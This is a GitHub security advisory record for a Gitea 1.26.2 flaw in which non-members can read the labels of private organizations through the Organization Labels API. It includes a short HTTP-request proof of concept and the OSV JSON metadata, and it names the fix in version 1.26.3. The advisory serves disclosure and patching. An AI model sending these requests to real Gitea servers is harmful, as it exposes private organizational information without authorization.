GHSA-V73X-HX65-6PF4
Vulnerability from github – Published: 2026-07-21 21:46 – Updated: 2026-07-21 21:46Summary
Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.
A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.
The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.
Details
The following endpoints are affected:
GET /api/v1/orgs/{org}/labelsGET /api/v1/orgs/{org}/labels/{id}
During testing, a private organization was created and a label was added to that organization.
Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.
However, the same user was still able to retrieve organization labels through the endpoints listed above.
For comparison, other organization-scoped endpoints such as:
GET /api/v1/orgs/{org}/teamsGET /api/v1/orgs/{org}/hooksGET /api/v1/orgs/{org}/actions/secrets
correctly denied access to unauthorized users.
The label endpoints returned the full Label object, including fields such as:
idnamedescriptioncolorurl
Write operations were tested separately and remained protected by authorization checks.
PoC
Setup
Create a private organization:
POST /api/v1/orgs
Authorization: token <owner_token>
{
"username": "target-org",
"visibility": "private"
}
Create a label:
POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>
{
"name": "internal-label",
"color": "#aabbcc",
"description": "private organization label"
}
Verify that the organization is not accessible to a non-member:
GET /api/v1/orgs/target-org
Authorization: token <non_member_token>
Response:
HTTP/1.1 404 Not Found
Retrieve all labels
Request:
GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The response contains labels belonging to the private organization.
Retrieve a specific label
Request:
GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Observed response:
HTTP/1.1 200 OK
The full Label object is returned.
Verify write protection
Request:
PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>
Response:
HTTP/1.1 403 Forbidden
PoC Details
https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak
Impact
Users who are not authorized to access a private organization can obtain label metadata associated with that organization.
Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.
The issue affects confidentiality only. No integrity or availability impact was observed.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25038"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:46:39Z",
"nvd_published_at": "2026-07-03T21:16:57Z",
"severity": "HIGH"
},
"details": "## Summary\n\nGitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.\n\nA user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.\n\nThe issue is limited to unauthorized read access. No unauthorized modification of labels was observed.\n\n## Details\n\nThe following endpoints are affected:\n\n* `GET /api/v1/orgs/{org}/labels`\n* `GET /api/v1/orgs/{org}/labels/{id}`\n\nDuring testing, a private organization was created and a label was added to that organization.\n\nAccess to the organization itself was correctly restricted. A user without membership in the organization received a `404 Not Found` response when requesting organization information.\n\nHowever, the same user was still able to retrieve organization labels through the endpoints listed above.\n\nFor comparison, other organization-scoped endpoints such as:\n\n* `GET /api/v1/orgs/{org}/teams`\n* `GET /api/v1/orgs/{org}/hooks`\n* `GET /api/v1/orgs/{org}/actions/secrets`\n\ncorrectly denied access to unauthorized users.\n\nThe label endpoints returned the full Label object, including fields such as:\n\n* `id`\n* `name`\n* `description`\n* `color`\n* `url`\n\nWrite operations were tested separately and remained protected by authorization checks.\n\n## PoC\n\n### Setup\n\nCreate a private organization:\n\n```http\nPOST /api/v1/orgs\nAuthorization: token \u003cowner_token\u003e\n\n{\n \"username\": \"target-org\",\n \"visibility\": \"private\"\n}\n```\n\nCreate a label:\n\n```http\nPOST /api/v1/orgs/target-org/labels\nAuthorization: token \u003cowner_token\u003e\n\n{\n \"name\": \"internal-label\",\n \"color\": \"#aabbcc\",\n \"description\": \"private organization label\"\n}\n```\n\nVerify that the organization is not accessible to a non-member:\n\n```http\nGET /api/v1/orgs/target-org\nAuthorization: token \u003cnon_member_token\u003e\n```\n\nResponse:\n\n```http\nHTTP/1.1 404 Not Found\n```\n\n### Retrieve all labels\n\nRequest:\n\n```http\nGET /api/v1/orgs/target-org/labels\nAuthorization: token \u003cnon_member_token\u003e\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe response contains labels belonging to the private organization.\n\n### Retrieve a specific label\n\nRequest:\n\n```http\nGET /api/v1/orgs/target-org/labels/1\nAuthorization: token \u003cnon_member_token\u003e\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThe full Label object is returned.\n\n### Verify write protection\n\nRequest:\n\n```http\nPATCH /api/v1/orgs/target-org/labels/1\nAuthorization: token \u003cnon_member_token\u003e\n```\n\nResponse:\n\n```http\nHTTP/1.1 403 Forbidden\n```\n\n### PoC Details\nhttps://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak\n\n## Impact\n\nUsers who are not authorized to access a private organization can obtain label metadata associated with that organization.\n\nDepending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.\n\nThe issue affects confidentiality only. No integrity or availability impact was observed.",
"id": "GHSA-v73x-hx65-6pf4",
"modified": "2026-07-21T21:46:40Z",
"published": "2026-07-21T21:46:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-v73x-hx65-6pf4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25038"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38151"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Unauthorized Access to Labels of Private Organizations"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.